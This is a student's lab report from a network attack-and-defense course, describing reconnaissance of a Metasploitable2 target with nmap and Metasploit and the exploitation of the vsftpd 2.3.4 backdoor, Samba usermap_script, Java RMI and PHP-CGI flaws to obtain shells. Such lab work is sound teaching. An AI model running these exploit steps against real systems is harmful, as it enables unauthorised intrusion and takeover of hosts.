20232429 2025-2026-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
(1)前期渗透
(2)Vsftpd源码包后门漏洞(21端口)
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
(4)Java RMI SERVER命令执行漏洞(1099端口)
(5)PHP CGI参数执行注入漏洞(80端口)
2.实验过程
2.1前期渗透
2.1.1主机发现(可用Aux中的arp_sweep,search一下就可以use)
查看靶机的IP地址用于后续扫描,其IP地址为为192.168.79.146。

在kali虚拟机中打开msfconsole,执行ARP扫描,具体命令为
search arp_sweep #ARP扫描的辅助模块
use 0 #使用arp_sweep模块
set RHOSTS 192.168.79.0/24 #指定扫描网段
run
结果如图所示

可以看到靶机192.168.79.146在线,类型为虚拟机。
2.1.2端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
- 1.使用nmap进行端口扫描,通过命令
nmap -sS -sV 192.168.79.146进行SYN扫描并进行版本探测。

- 2.用Aux中的portscan/tcp扫描靶机开放的端口。
使用命令
use auxiliary/scanner/portscan/tcp #TCP端口扫描模块
set RHOSTS 192.168.79.146 #设置目的IP
set THREADS 10 #并发线程,提升扫描速度
run
结果如图所示

2.1.3漏洞扫描
使用nmap -script=vuln 192.168.79.146扫描靶机漏洞

对于21端口有vsFTPd2.3.4版本的后门漏洞

对于25端口的SMTP服务存在匿名Diffie-Hellman密钥交换漏洞和DHE_EXPORT降级漏洞。
- 匿名Diffie-Hellman密钥交换漏洞会导致中间人攻击,破坏通信的机密性和完整性。
- DHE_EXPORT降级漏洞使得攻击者可将加密强度降级至512位导致敏感信息泄露。
80端口的HTTP服务存在敏感目录与文件暴露风险,Slowloris DoS漏洞和跨站请求伪造漏洞。

1099端口的远程方法调用服务存在漏洞,RMI注册表的默认配置允许从远程URL加载类,可导致远程代码执行。

5432端口的PostgreSQL数据库存在Diffie-Hellman密钥交换强度不足,CCS注入漏洞以及POODLE漏洞。

2.2Vsftpd源码包后门漏洞(21端口)
通过命令nmap -sV -p 21 192.168.79.146扫描靶机的21端口,查看该端口是否开启以及其上运行的服务与版本。

使用Metasploit框架利用vsftpd 2.3.4版本后门漏洞。
use exploit/unix/ftp/vsftpd_234_backdoor #利用vsftpd 2.3.4版本后门漏洞
set RHOSTS 192.168.79.146
run

可以看到通过后门获得了靶机的shell,并且当前用户是root,并且可以用pwd,ls,whoami,uname -a和id等命令。
2.3SambaMS-RPC Shell命令注入漏洞(端口139)
通过命令nmap -p 139 192.168.79.146扫描靶机的139端口,查看该端口是否开放。

靶机139端口的有关信息
使用命令
use exploit/multi/samba/usermap_script #Samba服务的usermap_script漏洞
set RHOST 192.168.79.146 #设置目的IP
run

成功使用uname -a验证
2.4Java RMI SERVER命令执行漏洞(1099端口)
通过命令nmap -p 1099 192.168.79.146扫描靶机的1099端口,查看该端口是否开放。

使用如下代码通过Metasploit框架利用Java RMI服务的远程代码执行漏洞。
use exploit/multi/misc/java_rmi_server #Java RMI服务的远程代码执行漏洞
set RHOST 192.168.79.146 #设置目的IP
run
结果如图

可以看见获得了shell权限之后查看为root用户。
2.5PHP CGI参数执行注入漏洞(80端口)
使用命令nmap -p 80 192.168.79.146扫描靶机的80端口,查看该端口是否开放。
结果如图所示

使用以下命令通过Metasploit框架利用PHP-CGI的参数注入漏洞。
use exploit/multi/http/php_cgi_arg_injection #PHP-CGI的参数注入漏洞
set RHOST 192.168.79.146 #设置目的IP
run
结果如图所示

可以看到当前的用户是www-data
3.问题及解决方案
问题一
- 在安装靶机Metasploitable2时,没有去找具体的教程,而是根据下载安装kali时的经验去打开虚拟机,结果跳出一个提示,说虚拟机的位置似乎不正确,需要我在“我已移动虚拟机”、“我已复制该虚拟机”中选择一个,我选择了后者“我已经复制该虚拟机”,然后成功打开了。
问题二
- 在2.1.3漏洞扫描 使用
nmap -script=vuln 192.168.79.146扫描靶机漏洞时,等待了3分钟发现什么结果都没有,以为遇到了网络或虚拟机等的问题,询问同学之后得知需要多等一会,后续又等了5分钟左右终于扫描完成,可以进行后续分析。
4.学习感悟、思考等
- 这次的实验新装了一个靶机,但是我犯了“想当然”的错误,认为安装过kali,用同样的方法就可以凭经验来安装虚拟机,结果就是遇到了一个不太棘手,可解决的问题。如果凭经验办事,最后出现了无法解决的问题,反而会事倍功半。
- 这次的实验也通过各种方法攻击了靶机,获得了shell以及root用户权限,让我学到了如何使用Metasploit攻击有风险的端口,对漏洞的风险有了清晰的认识,定期排查电脑的木马病毒,才能保护好我们的信息安全。
浙公网安备 33010602011771号